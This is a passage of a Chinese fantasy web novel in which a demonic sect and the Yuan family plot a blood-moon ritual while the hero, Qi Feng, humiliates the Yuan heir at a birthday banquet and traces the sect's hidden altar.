魅影修罗深吸一口气,知道瞒不过去,而且她也需要将齐枫的可怕告知教中,以免其他人再重蹈她的覆辙。
她压下心中的**,尽量用平静的语气说道:“那齐枫……体内有一股至阳至刚的古怪力量,对我的天魅魔功有极强的克制作用。我的**……非但没能影响他,反而……反而遭到了反噬。”
她省略了最**的部分,只提到了**反噬。
“哦?至阳至刚的力量?”阴书生眼中精光一闪,“可是道家真气?或是佛门法力?”
“不像……”魅影修罗回想起那股纯净、浩大、凛然不可侵犯的气息,摇了摇头,心有余悸,“更像是一种……蕴含天地正气的力量,品阶极高,我的天魅魔功在它面前,如同萤火之于皓月。”
阴书生闻言,脸色也凝重起来:“蕴含天地正气?这倒是罕见。看来,此子比我们想象的还要麻烦。”
他顿了顿,又看向魅影修罗,带着一丝试探,“那……魅影**接下来有何打算?莫非就此放弃?”
第三百零九章 放弃?
放弃?
魅影修罗眼中闪过一丝挣扎和强烈的不甘。
她吃了这么大的亏,受了如此奇耻大辱,怎么可能轻易放弃?!
但一想到齐枫那可怕的力量和昨晚那彻底失控的恐惧,她又感到一阵心悸。
“此事……需从长计议。”她咬了咬唇,最终说道,“硬来肯定不行。他的那种力量,似乎专门克制我等阴邪**。或许……可以从他身边的人下手,或者,寻找他那种力量的弱点。”
她不敢再说自己亲自出手了,那无异于自取其辱。
阴书生点了点头,似乎对这个回答并不意外:“魅影**能认清现实,甚好。既然如此,此事暂且搁置。当务之急,是血月祭!哭丧**让我通知你,祭坛最后的布置需要你的‘姹女阴元’协助稳定,请你尽快调整状态,准备参与最后的仪式。”
听到“姹女阴元”和“仪式”,魅影修罗脸色微微一变。
那是她修炼天魅魔功凝聚的本源阴气,对稳定某些阴属性阵法有奇效,但损耗极大。
若是之前,她或许不会犹豫,但此刻她刚刚经历反噬,元气有损……
“我……我知晓了。”她最终还是应了下来,眼下教中大事为重,她不敢违逆。
阴书生意味深长地看了她一眼,不再多言,摇着羽扇离开了石室。
石门再次关上,石室内只剩下魅影修罗一人。
她颓然坐回铺着兽皮的矮榻上,眼神变幻不定。
对齐枫的恨意和杀意依旧炽烈,但那股源自灵魂深处的恐惧和昨夜那失控的、羞耻却莫名令人战栗的体验,也如同梦魇般缠绕着她。
那个男人,就像一剂致命的**,明知危险,却让她在恨与怕之余,产生了一种扭曲的、想要再次靠近、甚至……征服的欲望?
她猛地甩了甩头,将这个荒谬的念头驱散。
当务之急,是尽快恢复元气,应对血月祭。
至于齐枫……她握紧了拳头,指甲陷入掌心。
这笔账,她记下了!总有一天,她要连本带利地讨回来!以她魅影修罗的方式!
只是,连她自己都没有意识到,经过昨夜那场彻底失控的交锋,齐枫的身影,已经如同最深刻的烙印,不仅印在了她的耻辱柱上,更以一种诡异的方式,搅乱了她原本冰冷而充满算计的心湖。
魅影修罗的失败与带回来的关于齐枫“至阳至刚力量”的消息,让幽冥教地下据点内的气氛更加凝重。
哭丧**那青铜面具下的鬼火眼眸闪烁不定,枯瘦的手指敲击着白骨桌面,发出令人心烦意乱的“咔咔”声。
“至阳至刚……克制阴邪……”他沙哑的声音如同夜枭啼哭,“难怪柳如烟的媚术无效,幽影的刺杀受阻,连魅影的天魅魔功都遭到反噬!此子,果然是我圣教大敌!”
黑煞**暴躁地低吼:“那就集中所有力量,趁他落单,围杀他!我就不信,他一个人能挡得住我们所有人!”
“不可!”阴书生立刻反对,羽扇摇得飞快,“齐枫如今在府城声望如日中天,身边明里暗里不知有多少人关注。强行动手,成功率低不说,一旦暴露,必将引来朝廷和萧无痕的疯狂反扑,血月祭必将功亏一篑!”
鬼母**阴恻恻地道:“书生说得对。硬拼乃下下之策。既然他的力量克制我等,那便不与他正面交锋。血月祭才是根本!只要祭典成功,圣尊复苏,届时区区一个齐枫,翻手可灭!”
哭丧**沉默片刻,最终采纳了稳妥的意见:“鬼母所言极是。一切以血月祭为重。齐枫那边……暂且放一放。不过,也不能让他太过安生。”
他转向阴书生,“书生,袁家那边,安排得如何了?”
阴书生脸上露出成竹在胸的笑容:“**放心。袁振山那个老狐狸,比我们更想除掉齐枫。他已经同意,在祭典前夜,以其寿辰为名,在袁府设宴,广邀府城名流,届时……齐枫必定在
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邀请之列。”
“哦?”哭丧**眼中鬼火一跳,“你想在宴会上动手?”
“非也非也。”阴书生摇扇笑道,“在袁府动手,痕迹太重。此举一为麻痹齐枫,让他以为我们已束手无策,只能靠这等世俗手段,二来嘛……嘿嘿,袁惊尘公子,可是给我们准备了一份‘大礼’,要在宴会上,送给那位齐公子呢。”
提到袁惊尘,几位**眼神都微微变化。
那个在密室中疯狂修炼邪功的袁家嫡子,如今散发出的气息连他们都感到有些心悸。
“袁惊尘?他练成了?”黑煞**瓮声问道。
“据袁振山所言,已至关键阶段,届时定能给齐枫一个‘惊喜’。”阴书生道,“即便不能当场格杀,也必能重创于他,消耗其力量,为我等血月祭扫清障碍!此乃借刀**之计,无论成败,都与我们无关。”
“好!此计甚妙!”哭丧**终于露出一丝满意的神色,“就依此计行事!通知下去,所有力量转入地下,全力准备血月祭!至于齐枫……就让他先和袁家那条疯狗去斗吧!”
幽冥教的阴谋,在暗处悄然调整,将矛头暂时引向了袁家。
与此同时,锦绣阁内。
齐枫悠闲的很,不过他也知道幽冥教接连受挫,绝不可能善罢甘休。
他一边通过富贵和苏晚晴提供的线索,继续暗中调查城西染坊和几处可疑泉眼,一边也在静静等待着对方下一步的动作。
这日,一份烫金的请柬被送到了锦绣阁,落款正是袁府家主袁振山,邀请齐枫三日后赴宴,庆祝其六十寿辰。
“袁振山的寿宴?”南宫玥拿着请柬,柳眉微蹙,“齐郎,这怕是场鸿门宴。袁家与我们势同水火,此时邀请,定然没安好心。”
柳若雪也分析道:“如今赵元昊偃旗息鼓,幽冥教潜伏不出,袁家却突然跳出来,很可能是被推出来的棋子,或者……他们自以为有了什么依仗。”
第三百一十章 鸿门宴
周子陵嚷嚷道:“管他什么宴!齐兄,咱们不去!谁知道他们准备了什么陷阱!”
齐枫把玩着手中的请柬,嘴角勾起一抹玩味的笑容:“去,为什么不去?人家都把舞台搭好了,我们若是不去,岂不是辜负了这番‘美意’?”
他目光深邃:“袁家在这个时候跳出来,无非两种可能。一是幽冥教借刀**,二是袁家自己……找到了什么他们认为可以对付我的底牌。无论是哪一种,我都想去亲眼看看。”
他顿了顿,对众人道:“放心,我自有分寸。正好,我也有些‘礼物’,想回赠给袁家。”
三日后,袁府张灯结彩,宾客盈门。
虽然袁家近来声望大跌,但毕竟树大根深,又是家主寿辰,府城内有头有脸的人物还是来了不少,其中不乏一些想看热闹或者趁机来巴结齐枫的人。
齐枫只带了富贵一人,准时赴宴。
他依旧是一身简单的青衫,神态从容,在一众锦衣华服的宾客中,反而显得格外出尘。
袁振山亲自在门口迎接,脸上堆满了虚伪的笑容,仿佛之前的所有恩怨都不存在一般:“齐公子大驾光临,真是令寒舍蓬荜生辉啊!快请进,快请进!”
齐枫淡淡一笑,拱手还礼:“袁家主寿辰,齐某岂敢不来?小小礼物,不成敬意。”
富贵递上一个锦盒,里面是一支品相普通的百年老参,谈不上多珍贵,但也挑不出错处。
袁振山眼角抽搐了一下,依旧笑着收下,引着齐枫入内。
宴会气氛颇为微妙。
许多宾客都主动向齐枫打招呼敬酒,态度恭敬,而袁家众人则大多脸色阴沉,尤其是赵元昊和袁惊鸿,躲在人群后面,眼神怨毒却又不敢上前。
酒过三巡,菜过五味。
就在宴会气氛看似和谐之际,袁振山忽然拍了拍手,朗声道:“诸位,今日老夫寿辰,承蒙各位赏光。此外,还有一喜事要与诸位分享。犬子惊尘,近日闭关潜修,略有所得,今日特意出关,欲与诸位才俊切磋交流一番,尤其是……想向名满府城的齐枫齐公子,讨教几招!”
话音落下,全场瞬间安静下来!
所有人的目光都齐刷刷地看向袁振山,又看向齐枫!来了!果然来了!袁家的依仗,就是袁惊尘!
只见后堂方向,一股阴冷、暴戾、令人极度不适的气息弥漫开来。袁惊尘缓缓走了出来。
他依旧穿着华服,但整个人气质大变。
原本还算俊朗的脸庞此刻笼罩着一层青灰之气,眼窝深陷,瞳孔深处泛着诡异的幽绿光芒,嘴角挂着一丝神经质残忍的笑意。
他周身散发着若有若无的黑红色煞气,所过之处,周围的温度都仿佛降低了几分,一些胆小的女眷甚至忍不住打了个寒颤。
“齐枫……”袁惊尘的声音沙哑如同砂纸摩擦,带着刻骨的恨意和一种非人的疯狂,“我等这一天,很久了!”
他猛地踏前一步,周身黑红色煞气暴涨,如同实质般缠绕在他双臂之上,整个人如同从地狱爬出的恶鬼,气势汹汹地锁定齐枫!
“今日,我就要当着所有人的面,将你施加于我、于袁家的耻辱,百倍奉还!我要将你**万段!”
恐怖的煞气席卷开来,让整个宴会厅都为之窒息!所有人都感到一股发自灵魂的战栗!
“这……这是什么武功?好可怕的气息!”
“袁惊尘怎么会变成这样?!”
“齐公子危险了!”
赵元昊和袁惊鸿脸上露出了兴奋而扭曲的笑容,仿佛已经看到了齐枫被撕碎的惨状。
可面对这如同恶鬼临世般的袁惊尘,以及那滔天的煞气和杀意,齐枫却依旧端坐原地,甚至连手中的酒杯都没有放下。
他轻轻晃动着杯中琥珀色的酒液,抬眸,淡淡地瞥了状若疯魔的袁惊尘一眼,眼神平静得如同在看一场无聊的闹剧。
“修炼了点不入流的邪功,就以为自己天下无敌了?”齐枫的声音不大,却清晰地传入每个人耳中,带着
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一种居高临下的淡漠与不屑,“气息虚浮,煞气驳杂,根基已损,不过是饮鸩止渴,自取灭亡罢了。”
他甚至连起身的意思都没有,只是随意地将手中的酒杯,对着猛扑过来的袁惊尘,轻轻一泼。
那泼出的酒液,在离开酒杯的瞬间,仿佛被赋予了生命与灵性,在空中化作数十滴晶莹剔透的水珠,每一滴都蕴含着至阳至刚的浩然之气,如同离弦之箭,精准无比地射向袁惊尘周身各大要穴以及那汹涌而来的黑红色煞气!
“嗤嗤嗤——!”
如同烧红的烙铁烫入了冰雪之中!
那看似汹涌澎湃、令人心悸的黑红色煞气,在接触到蕴含浩然正气的酒滴时,发出了刺耳的消融声,以肉眼可见的速度迅速溃散、蒸发!
袁惊尘前冲之势戛然而止,发出一声凄厉痛苦的惨叫!
他感觉自己凝聚的煞气如同遇到了克星,瞬间土崩瓦解!
而那些酒滴击中他的身体,更是如同烧红的钢针扎入,带来钻心的剧痛和一种源自力量本源的压制与净化!
“噗通!”他整个人如同被抽空了力气,狼狈不堪地跪倒在地,周身煞气消散大半,脸色惨白如纸,哇地喷出一口暗红色的污血,气息瞬间萎靡了下去!
全场死寂!
所有人都目瞪口呆地看着这一幕!
气势汹汹、状若疯魔、看起来强大无比的袁惊尘,竟然……被齐枫用一杯酒,随手一泼,就……打成重伤,跪地吐血?!
这……这已经不是武功了!这简直是仙术!
袁振山脸上的笑容彻底僵住,化为无尽的惊恐和绝望!赵元昊和袁惊鸿更是吓得魂飞魄散,差点瘫软在地!
齐枫缓缓放下空了的酒杯,目光扫过面如死灰的袁家众人,最后落在瘫倒在地、不断咳血的袁惊尘身上,语气依旧平淡,却带着令人窒息的威严。
“邪魔外道,不堪一击。”
“袁家主,这就是你袁家的‘喜事’?真是……让人失望。”
第三百一十一章 不可战胜!
说完,他站起身,拂了拂衣袖上并不存在的灰尘,对早已惊呆的富贵道:“我们走。”
在满堂宾客敬畏如神的目光注视下,齐枫带着富贵,从容离去,只留下袁府一片狼藉和死寂,以及袁家那彻底破碎的尊严和希望。
这一次的装逼打脸,比擂台更加震撼,更加干脆利落!
一杯酒,破邪功,败强敌,碾碎一切阴谋!齐枫用绝对的实力,再次向所有人宣告,在真正的力量面前,任何阴谋诡计,都不过是可笑的笑话!
齐枫离去后,袁府寿宴现场陷入了一片死寂般的混乱。
宾客们仓惶告辞,生怕沾染上袁家的晦气,看向袁家众人的眼神充满了怜悯、讥讽,以及一丝不易察觉的恐惧。
不是对袁家,而是对那个轻描淡写间便碾碎一切的齐枫。
袁惊尘被家丁七手八脚地抬回内室,他面如金纸,气息奄奄,周身那原本汹涌的煞气几乎消散殆尽,只剩下残破的躯壳和眼中尚未熄灭混杂着痛苦、怨恨与难以置信的疯狂。
他引以为傲、付出巨大代价换来的力量,在齐枫面前,竟然脆弱得如同纸糊一般!
袁振山仿佛一瞬间苍老了二十岁,他挥退了所有下人,独自坐在空旷而狼藉的大厅主位上,脸色灰败,眼神空洞。
寿宴成了闹剧,袁家最后的脸面和希望,被齐枫一杯酒泼得粉碎。
他甚至可以想象,明日之后,袁家将成为整个府城,不,是整个江南道的笑柄!
“齐枫……齐枫!”袁振山枯瘦的手死死攥着太师椅的扶手,指节用力泛白,喉咙里发出困兽般的低吼。
无尽的悔恨如同毒蛇般噬咬着他的心脏。
早知今日,当初就不该纵容克良、惊尘去招惹这个煞星!如今,袁家百年基业,眼看就要毁于一旦!
就在这时,大厅角落的阴影一阵扭曲,阴书生那令人厌恶的身影悄无声息地浮现。
“袁家主,节哀顺变。”阴书生摇着羽扇,脸上依旧挂着那虚伪的笑容,但眼神却冰冷无比。
袁振山猛地抬起头,布满血丝的眼睛死死盯住阴书生,声音嘶哑:“节哀?!你让我如何节哀?!这就是你们幽冥教说的‘大礼’?!这就是你们保证能对付齐枫的依仗?!惊尘他……他差点被那杯酒打死!”
阴书生面对袁振山的质问,神色不变,淡淡道:“袁家主,稍安勿躁。令郎修炼的‘血煞噬魂功’乃我圣教秘传,威力无穷,本不该如此不济。要怪,只能怪那齐枫……他体内的力量,确实超乎了我们的预料,对阴邪功法的克制作用太强。”
他顿了顿,带着一丝蛊惑:“不过,袁家主,事情未必没有转机。”
“转机?”袁振山惨笑一声,“还能有什么转机?经此一事,我袁家名声扫地,惊尘重伤,还能拿什么去跟齐枫斗?”
“正因为如此,才更需要破釜沉舟!”阴书生声音陡然变得阴森,“袁家主,难道你甘心就此沉沦,让袁家百年基业,毁在你手上?让那齐枫,继续逍遥快活,将你袁家踩在脚下?”
袁振山身体一震,眼中闪过一丝不甘和挣扎。
阴书生继续道:“常规手段,已无法对付齐枫。但……血月祭,可以!”
“血月祭?”袁振山瞳孔一缩。
“不错!”阴书生压低声音,“血月祭一旦成功,圣尊复苏,便可拥有改天换地之能!到那时,莫说一个齐枫,便是这大景朝廷,也要在我圣教脚下颤抖!袁家主,你袁家若能在此次祭典中立下大功,便是从龙之首功!届时,失去的尊严,可以百倍夺回!甚至……更进一步,也非不可能!”
袁振山的心脏不争气地剧烈跳动起来。
幽冥教描绘的前景,如同黑暗中唯一的光,吸引着已经走投无路的他。
他知道这是与虎谋皮,风险极大,但……袁家还有退路吗?
“你们……需要我做什么?”袁振山的声音干涩,带着一丝豁出去的疯狂。
阴书生脸上露出了满意的笑容:“很简单。第一,袁家需全力配合我教,完成祭坛最后的布置,尤其是稳定阵法所需的‘地阴之脉’,需要借助你袁家祖宅下方的那条灵脉。第二,祭典之时,需要大量生灵精血作为引子,府衙大牢里的那些死囚……需要有人‘帮忙’送出来。”
袁振山倒吸一口凉气!
动用祖宅灵脉,劫掠府衙死囚!这都是抄家灭族的大罪!
但他只是犹豫了片刻,便重重地点了点头:“好!我答应你们!但事成之后,幽冥教必须兑现承诺!我要齐枫死!要赵明德、卢正淳付出代价!要袁家成为江南之主!”
“这是自然。”阴书生笑道,“圣教从不亏待功臣。那么……合作愉快,袁家主。”
与此同时,幽冥教地下据点。
哭丧护法听着阴书生的回报,青铜面具下发出沙哑的笑声:“很好!袁家这条船,算是彻底绑死了!有他们配合,祭坛布置和‘祭品’来源就稳妥多了。”
鬼母护法阴恻恻地道:“袁惊尘那个废物,虽然不堪大用,但他修炼血煞功失败,体内残留的精血和怨煞之气,倒是上好的祭品引子,不能浪费了。”
黑煞护法闷声道:“齐枫那小子,难道就任由他嚣张下去?祭典之时,他若来捣乱怎么办?”
幽影护法冷冷开口:“祭坛所在,隐秘异常,且有重重阵法守护。他未必能找到。即便找到……哼,血月当空之时,阴气大盛,圣尊之力降临,他那至阳之力必受压制!届时,他若敢来,便是自投罗网!”
哭丧护法最终拍板:“一切按计划进行!加快祭坛布置!通知所有潜伏人员,血月之夜,便是我们幽冥教,重现世间之时!”
锦绣阁内。
齐枫站在院中,仰望夜空。
今夜无月,星辰晦暗。
富贵悄无声息地出现在他身后,低声道:“少爷,查到了。袁家祖宅近期有异常地气波动,且有人看到深夜有不明车辆出入袁府后门,方向似乎是……城西。”
第三百一十二章 风起云涌
富贵继续说。
“另外,苏大人那边传来消息,根据星象推演,血月之期,恐怕就在五日之后!而且,她察觉到城西某处地脉阴气正在异常汇聚,与废弃染坊和几处泉眼隐隐相连,极可能就是祭坛所在!”
齐枫目光微凝:“五日……城西地脉……果然在那里。”
他沉吟片刻,问道:“萧无痕那边有什么动静?”
“萧指挥使似乎也察觉到了什么,锦衣卫的暗哨最近频繁在城西活动,但似乎还未找到确切位置。”
齐枫点了点头:“幽冥教经营多年,隐藏极深,没那么容易找到。不过……他们既然要举行血月祭,必然需要大量阴气和生灵精血,动静绝不会小。”
“通知我们的人,盯紧城西所有可疑地点,尤其是水源和地脉节点。另外……”他眼中闪过一丝冷光,“给袁家找点事情做做,别让他们太闲着了。”
“是!”
齐枫负手而立,夜风吹动他的衣袂。
幽冥教与袁家狗急跳墙,血月祭近在眼前!
血月祭积聚的乌云沉甸甸地压在府城上空,距离推算的日期,只剩下短短五日。
这最后的几天,府城内外,明里暗里,各方势力都在进行着最后的准备与角逐,气氛紧张得如同一根绷紧的弦。
地下据点内,幽冥教的准备工作进入了最关键的阶段。
哭丧护法几乎日夜守在白骨祭坛旁,指挥着教徒们刻画最后也是最复杂的核心符文。
这些符文需要用蕴含阴煞的血液混合特殊矿物绘制,每一笔都要求精准无误,稍有差错便可能前功尽弃。
鬼母护法则忙于处理“祭品”。府衙大牢那边,在袁家内应的配合下,已有数十名被判定秋后问斩的死囚,以各种“暴毙”或“转移”的名义,被秘密运送至城西废弃染坊下方的秘密通道。
凄厉的哀嚎和绝望的诅咒在幽深的地道中回荡,最终归于沉寂,只留下愈发浓郁的血腥气和怨念,被阵法引导,汇聚向祭坛中心。
黑煞护法带领着教中武力最强的部分教徒,日夜巡逻守卫着几处关键入口和通道,任何可疑的靠近都会引来毫不留情的格杀。
他们的眼神麻木而残忍,如同真正的杀戮机器。
幽影护法则如同真正的影子,潜伏在府城各处,尤其是锦绣阁和府衙附近,密切监视着齐枫和萧无痕的一举一动,确保任何风吹草动都能第一时间传回。
袁府内部,气氛同样压抑。
袁振山仿佛苍老了十岁,整日待在书房,脸色阴沉,处理着家族产业最后的收缩和转移,为最坏的情况做准备。
袁惊尘被安置在密室深处,由幽冥教派来的药师勉强吊住性命,但他体内的血煞功已废,经脉尽损,即便活下来也是个废人,这让袁振山心中更是充满了刻骨的恨意。
一个儿子因为齐枫死了,而这个他寄予厚望的儿子又成了废人!
赵元昊和袁惊鸿则彻底成了惊弓之鸟,躲在府中不敢露面,唯恐齐枫或者幽冥教杀人灭口。
府衙内,赵明德和卢正淳也是焦头烂额。
死囚接连“意外”死亡,虽然袁家做得很隐蔽,但还是引起了一些警觉。
城西地区近期频发人口失踪案,虽多是乞丐流民,但也让民间开始流传起“恶鬼抓人”的谣言,弄得人心惶惶。
“查!给本官狠狠地查!”赵明德拍着桌子,对着下面的捕头们怒吼,“生要见人,死要见尸!还有城西那边,加派巡逻人手,尤其是晚上!”
卢正淳咳嗽着,脸色更加难看:“咳咳……赵大人,此事……恐怕非同小可。结合苏大人的星象预警,还有齐公子之前的提醒,我担心……幽冥教要有大动作了。”
萧无痕的锦衣卫同样忙碌。他们根据苏晚晴提供的星象地气线索,重点排查城西,也确实发现了几处可疑地点,但每当他们想要深入调查时,总会遇到各种“意外”。
或是突然出现的迷雾障眼,或是地面诡异的塌陷,甚至有一次,一队锦衣卫差点被困在一个突然激活的简易迷阵中。幽冥教显然在城西经营多年,布下了重重阻碍。
“大人,对方很警惕,而且对地形和阵法极其熟悉,我们的人很难靠近核心区域。”锦衣卫校尉向萧无痕汇报,语气凝重。
萧无痕脸色冰冷,手指敲击着桌面:“继续监视!缩小范围!血月之夜,他们必然会有大动静,到时候,就是收网之时!”
他虽然对齐枫依旧心存疑虑,但在对付幽冥教这件事上,两人的目标暂时是一致的。
与外面的紧张相比,锦绣阁表面看起来依旧平静。
生意照做,客流依旧。
但内部,却处于一种外松内紧的状态。
齐枫大部分时间都待在书房或后院,看似悠闲,实则通过富贵和苏晚晴,掌控着外界的一切动向。
他手中的情报网络,在巨额资金和巧妙手段的支撑下,效率甚至不比锦衣卫低。
“少爷,城西三号标记点,昨夜子时又有异常阴气泄露,持续时间比前天更长。”
“袁家祖宅的地气波动越来越频繁,似乎在抽取地脉阴气。”
“苏大人确认,血月之期,就在四日后的子时三刻。”
一条条信息汇聚到齐枫这里,让他对幽冥教的计划和进度了如指掌。
在这紧张的氛围中,几位与齐枫关系密切的女子,也各有心思。
南宫玥将担忧深埋心底,展现出惊人的商业手腕和镇定。
她不仅将锦绣阁打理得井井有条,还利用商队和各地分号的关系,暗中为齐枫筹集了一些可能用到的特殊药材和物资。
夜晚,她常常亲手为齐枫炖煮安神补气的汤羹,默默守候在书房外,然后宽衣解带,一夜春风。
她知道自己无法在武力上帮助齐枫,便尽力为他稳住后方,让他无后顾之忧。
偶尔与柳若雪目光交汇,两人都能看到对方眼中的凝重和一丝不易察觉的竞争意味。
第三百一十三章 大战前夕
柳若雪则是更加关注情报和细节。
利用伶人圈子三教九流的关系,她打听到了许多官方渠道难以获取的市井传闻和可疑人物的动向,不断补充着齐枫情报网的细节。
她心思缜密,多次提醒齐枫注意幽冥教可能使用的阴损手段,比如投毒、谣言惑众等。
她与南宫玥一个主内稳局,一个主外查漏,形成了某种默契的互补。
楚清秋的心情最为复杂。
血月祭的临近让她感受到了巨大的压力,这不仅是府城的危机,更可能影响到她复国的根基。
齐枫展现出的强大实力让她安心,但那份疏离感依旧存在。
她更加刻苦地修炼齐枫传授给她的一些调理气息、压制旧毒的法门,同时通过霍天都留下的秘密渠道,密切关注着北境边军的动向和京城的消息。
她知道自己必须保持最佳状态,才能应对可能发生的任何变故。
夜深人静时,她偶尔会抚摸着自己依旧平坦的小腹,眼神中闪过一丝迷茫与坚定交织的复杂情绪。
至于苏晚晴这位司天监的女官,几乎是废寝忘食地投入到星象推演和地气监测中。
她与齐枫的交流越发频繁,两人常常在书房一谈就是数个时辰,讨论阵法、星象、地脉以及应对幽冥邪术的各种可能性。
她对齐枫的博学与洞察力深感佩服,那清冷的眼眸中,欣赏之意日益明显。
她甚至根据星象变化,绘制了好几份城西地区的“阴气流向图”,为齐枫和官府的行动提供了至关重要的指引。
还有赵明兰这位知府千金也感受到了不寻常的气氛,但她更多的是对齐枫的担心。
她不敢像以前那样任性胡闹,只是偶尔会跑来锦绣阁,借口找南宫玥或柳若雪玩,实则只是为了远远地看齐枫一眼,确认他安然无恙。
那份少女的情愫,在压抑的环境下,显得格外单纯而珍贵。
最为关键的一个女人,魅影修罗!
自那夜惨败后,她一直躲在幽冥教据点深处疗伤。
身体的创伤易愈,但心灵的耻辱与那夜失控的记忆却如同梦魇挥之不去。
她对齐枫的恨意滔天,但内心深处,却也烙印下了对那股至阳力量的恐惧以及……一丝扭曲连她自己都不愿承认的奇异悸动。
她变得异常沉默,只是疯狂地配合着鬼母护法进行仪式前的准备,仿佛想用忙碌麻痹自己。
偶尔看向祭坛所在,她的眼神复杂难明。
山雨欲来风满楼。
最后的四天,每一刻都显得格外漫长沉重。
府城的命运,无数人的生死,都系于即将到来的血月之夜。
齐枫站在锦绣阁的阁楼顶端,俯瞰着这座华灯初上、却暗流汹涌的城市,眼神平静深邃。
所有的铺垫都已就绪,所有的棋子都已落位。
现在,只等待那轮染血之月,升上夜空!
又过了一日。
血月祭前的最后三天,府城的空气仿佛凝固了,每一口呼吸都带着山雨欲来的压抑。
各方势力的动作愈发频繁,也更加隐蔽,如同暗流在冰层下疯狂涌动。
幽冥教显然也意识到了时间的紧迫和外界探查的压力。
哭丧护法下令,进一步加大了在城西废弃染坊区域的防护和迷惑手段。
一连两日,锦衣卫的暗哨和齐枫手下的人,都在城西区域遭遇了比之前更强烈的干扰。
不仅仅是迷阵和陷阱,甚至出现了几具被刻意伪装成“修炼邪功失败、爆体而亡”的教徒尸体,尸体上还残留着浓郁但驳杂的阴气,仿佛在故意引导调查方向,坐实城西染坊就是核心祭坛的猜测。
与此同时,几处早已被齐枫和苏晚晴标记为“次要可疑”的地点,如城北的乱葬岗、城南的废弃义庄,反而异常地“安静”下来,仿佛被彻底放弃。
这种欲盖弥彰的手法,若是寻常人,很可能就被误导,将全部注意力集中在城西。
可齐枫和苏晚晴在综合了所有信息,尤其是地气波动的细微差异、星象指向的微调以及那些“意外”发现的尸体所残留力量的“刻意感”之后,反而更加确信,城西染坊只是一个精心布置的、吸引火力的假目标。
“他们在拖延时间,也在误导我们。”苏晚晴指着她最新绘制的星象地气关联图,清冷的语气带着肯定。
“真正的阴气汇聚核心,虽然受到干扰模糊不清,但绝非城西那般张扬。更像是一种……内敛而持续的抽取。”
齐枫点了点头,目光锐利:“没错。他们越是把动静搞在城西,越是说明真正的地方,需要绝对的安静和隐蔽。通知我们的人,城西那边保持适度压力即可,不要强行突破,以免不必要的伤亡。”
“重点……放在排查那些看似安静却与水源、地脉关联紧密,且能容纳大量人员和布置的地方。”
他没有直接点出醉月楼,但这个排查方向,已经无限接近真相。
赵明德和卢正淳面临着巨大的压力。
死囚失踪案和流言已经引起了部分官员和士绅的恐慌,有人开始质疑官府的能力,甚至暗中建议向朝廷求援。
“求援?等京城的援兵到了,黄花菜都凉了!”赵明德烦躁地揉着额头,“萧指挥使,你们锦衣卫到底查到什么没有?总不能一直这样被动下去!”
萧无痕脸色依旧冰冷,但眼底深处也藏着一丝焦灼。
锦衣卫在城西的行动屡屡受挫,损失了数名好手,却似乎总是在外围打转。
“对方很狡猾,布下了重重疑阵。不过……根据目前线索,基本可以确定,幽冥教的大动作就在这两三日。本官已下令,所有人员取消休沐,全员戒备,随时准备应对突发情况。”
他看了一眼一直沉默旁听的齐枫,语气复杂:“齐公子,你这边……可有高见?”
齐枫平静道:“敌暗我明,强行搜寻事倍功半。不如以静制动,加强府城各处的巡逻与警戒,尤其是……水源、粮仓、以及人员密集之处。幽冥教若行大祭,所需甚巨,不可能完全没有痕迹。守住要害,等他们自己露出马脚。”
第三百一十四章 一系列准备
齐枫这个建议,看似保守,实则将防御重点也隐隐指向了某些特定区域,比如临水而建、人员往来复杂的醉月楼周边。
在这最后的时刻,一些暗处的交锋也在悄然发生。
柳若雪通过伶人圈子,捕捉到一个模糊的信息。
有几个陌生的、气度不凡的外地商人,近日频繁出入醉月楼包场,行为低调,但似乎在暗中丈量着什么。
她立刻将这个可疑的线索报给了齐枫。
南宫玥则在打理生意时,发现近期有数笔来历不明的大额资金,通过几层复杂的转手,最终流向了醉月楼背后的某个东家,用途不明。
这引起了她的警觉。
甚至连小荷都嘟着嘴跟齐枫抱怨:“少爷,最近醉月楼那边晚上好像老是有点奇奇怪怪的声音,像唱歌又不像唱歌,吵得人睡不着觉。”
孩童无心的话语,有时反而能触及被忽略的细节。
这些零碎的信息,如同拼图般,在齐枫的脑海中逐渐汇聚。
他虽然还未百分百确定,但直觉和线索都强烈地指向了那个看似最不可能、也最危险的地方,醉月楼!
楚清秋也感受到了这份不同寻常的凝重。
她没有多问,只是更加沉默地修炼,并将霍天都传来的一份关于北境异动,可能与幽冥教或朝廷其他势力有关的加密情报,悄然放在了齐枫的书桌上。
苏晚晴几乎是住在了齐枫的书房,与她那些复杂的星盘和图纸为伴。
她的脸色因为连日殚精竭虑而显得有些苍白,但眼神却异常明亮。
“齐公子,星象显示,明晚子时,阴气将达到一个峰值……这很可能就是他们行动的时刻。”
所有人都感觉到了,那决定命运的时刻,正在以倒计时的方式,步步逼近。
血月祭前夜,府城反而陷入了一种诡异的平静。
连日的紧张似乎耗尽了人们的精力,街道上行人稀少,许多店铺早早关门。
只有巡逻的兵丁和更夫梆子的声音,在寂静的夜里回荡,更添几分肃杀。
齐枫独自一人,站在锦绣阁的最高处,俯瞰着这座被夜色笼罩的城市。
他的目光,仿佛穿透了重重屋宇,落在了那片临水灯火、看似歌舞升平的醉月楼方向。
明日,便是血月当空之夜!
……
夜幕如同浸透了浓墨的绸缎,沉沉地覆盖在府城上空。
今夜的风格外阴冷,带着湿漉漉的水汽,掠过屋檐巷角,发出呜咽般的低鸣,卷起几片枯叶,打着旋儿,最终落入漆黑一片的护城河中,无声无息。
往日里这个时辰尚且灯火通明的街巷,今夜却显得格外萧索。一种无形的恐慌如同瘟疫般在暗地里蔓延,使得家家户户门窗紧闭,连犬吠声都稀疏了许多。
只有更夫那拖长了调子、带着颤音的“天干物燥,小心火烛——”的梆子声,断断续续地传来,敲打在人们紧绷的心弦上。
锦绣阁内,烛火通明,却驱不散那股凝重的气氛。
前厅早已歇业,伙计丫鬟们都被早早打发回去休息,但无人能够安眠。
南宫玥和柳若雪坐在偏厅,面前摆放着早已凉透的茶水,两人都无心饮用。
南宫玥手中无意识地绞着一方丝帕,柳若雪则指尖轻轻敲击着桌面,目光不时投向通往内院的方向。
小荷被强制要求睡下,但小姑娘翻来覆去,最终还是抱着膝盖坐在床上,竖着耳朵听着外面的动静,小脸上满是担忧。
内院书房,此刻成了临时的指挥中枢。
齐枫负手立于窗前,望着窗外沉沉的夜色,月光被浓厚的乌云彻底吞噬,只有零星几点寒星,顽强地闪烁着微弱的光芒。
他的侧脸在跳动的烛光下显得轮廓分明,眼神深邃如古井,看不出丝毫波澜。
苏晚晴坐在书案旁,面前铺着一张巨大的城防舆图,上面已经被她用朱笔标记了数十个红点,主要集中在城西区域,但其中一个不起眼的小点,被她用更深的朱砂,圈在了临河的醉月楼位置。
